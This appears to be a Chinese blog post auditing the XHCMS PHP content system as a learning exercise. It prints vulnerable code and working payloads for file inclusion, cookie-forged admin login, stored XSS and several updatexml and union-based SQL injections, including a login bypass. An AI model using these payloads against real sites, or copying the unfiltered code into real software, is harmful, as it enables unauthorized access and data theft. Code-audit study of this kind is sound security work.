PHP代码审计学习之XHCMS

前言

​ 代码审计还是主要是思维逻辑能力,看到这套CMS很简单,所以想通读代码,然后尝试挖掘漏洞,提升自己代码审计的能力。漏洞还是挺多的。

文件包含

​ 拿到代码安装完成之后从index.php文件开始审计,发现该页面存在一个文件包含漏洞。代码如下

1
2
3
4
5
6
7
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

对传入的参数没有做任何过滤,造成了任意文件读取,在根目录下创建一个phpinfo.php,成功读取

任意用户登陆

​ 在对前台各个功能点进行测试无果之后看到了checklogin.php文件,发现存在越权登陆漏洞

1
2
3
4
5
6
7
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>

增加一个cookie

1
user=admin

即可访问后台

存储型XSS

​ 在基本设置界面对统计代码进行修改

1
<script>alert(document.cookie)</script>

存在存储型xss

已经是后台的了其实作用也不大,尝试再找一下是否有前台存储型XSS

UPDATE注入

## content.php

​ 对files目录下的代码进行了逐步分析,在content文件中发现对传入参数没有进行过滤

尝试构造payload.

1
1 or updatexml(1,concat(0x7e,(select database())),1)

对数据库检测,能够成功执行

summit.php

​ 在对content文件继续审计时,看到了一个没有过滤的SQL语句,是在评论处

然后就在文件内搜索了下mail

sumbit文件内看到对传参数没有过滤的SQL语句

下断点,发包

然后到SQL语句处

可以看到执行的SQL语句已经被构造好了,最后的输出

成功利用。看下数据库监控

后台登录处SQL注入

​ 登录处对传入的参数没有进行过滤,可对其进行SQL注入

payload

1
') or updatexml(1,concat(0x7e,(select database())),1);#

在登陆时也会出现万能密码登陆,因为对密码只进行了md5的校验

经过测试,登录处存在8个字段,在第四个地段处为密码,只要保持我们传入的md5是密码的md5值即可

payload

1
2
user: -1' union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
pass: 1

成功登陆。

后台漏洞

SQL注入

commentlist.php

payload

1
1' or updatexml(1,concat(0x7e,(select%20database())),1);--+

columnist.php

payload

1
?r=columnlist&delete=1%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1);--+

edit column.php

payload

1
?r=editcolumn&type=1&id=1%27or%20updatexml(1,concat(0x7e,(select%20database())),1);--+

基本都是相似的,还有挺多就不写了,基本都是报错注入,没有再写的意义了。就这样吧。